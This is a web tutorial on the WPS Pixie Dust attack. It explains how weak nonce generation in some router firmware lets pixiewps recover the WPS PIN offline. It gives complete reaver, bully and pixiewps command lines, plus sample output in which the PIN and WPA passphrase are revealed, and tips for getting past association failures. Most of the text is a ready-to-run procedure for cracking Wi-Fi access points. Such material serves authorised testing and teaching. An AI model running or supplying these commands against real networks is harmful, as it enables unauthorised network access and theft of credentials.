Skip to content
HackIndex logo

HackIndex

WPS Pixie Dust Attack with Reaver and Pixiewps

3 min read Mar 17, 2026

The Pixie Dust attack recovers the WPS PIN offline by exploiting weak random number generation in the AP firmware. During the WPS exchange the AP sends two nonces (E-S1 and E-S2) that should be random but in vulnerable firmware are derived from predictable values. pixiewps uses the captured nonces and hash values to compute the PIN offline in seconds, making it dramatically faster than the online brute-force approach. Only one WPS exchange is needed.

Pixie Dust works against specific vulnerable chipsets — primarily Ralink, Realtek, and some Broadcom implementations. It does not work against all APs. Check the vendor from wash output first.

Run Pixie Dust with Reaver

Reaver has Pixie Dust integrated via the -K flag. It captures the necessary values from the exchange and passes them to pixiewps automatically:

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1 
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF
[+] Starting Pixie WPS attack
[+] Received M1 message
[+] Received M3 message
[Pixiewps] WPS pin: 12345670
[+] WPS PIN: '12345670'
[+] WPA PSK: 'MyWifiPassword'
[+] AP SSID: 'TargetNetwork'

If the AP is vulnerable, the PIN and WPA passphrase are recovered within seconds after a single exchange. If pixiewps returns no result, the AP firmware is not using predictable nonces and the attack does not apply — fall back to the PIN brute-force approach.

Run Pixie Dust with bully

bully is an alternative WPS tool that some find more reliable against certain APs. It also supports Pixie Dust:

┌──(kali㉿kali)-[~]
└─$ bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3

-d enables Pixie Dust mode. -v 3 enables verbose output. bully handles some APs that reaver fails to associate with, particularly those with strict WPS state machine implementations.

Run pixiewps Manually

If you have captured the WPS exchange separately and want to run pixiewps directly with the extracted values:

┌──(kali㉿kali)-[~]
└─$ pixiewps -e <PKe> -r <PKr> -s <E-Hash1> -z <E-Hash2> -a <AuthKey> -n <E-Nonce>

The values for PKe, PKr, E-Hash1, E-Hash2, AuthKey, and E-Nonce are printed in reaver verbose output when run with -vv. This manual approach is useful when reaver's integrated Pixie Dust mode fails but the exchange completes successfully.

Handle Association Failures

If reaver fails to associate with the AP, try specifying the channel and adding a small delay:

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1 -c 6 -d 2

Some APs require the interface to be on the exact AP channel before sending the initial association request. If association still fails, check that no other process is managing the interface and that monitor mode is confirmed active on the correct channel.

References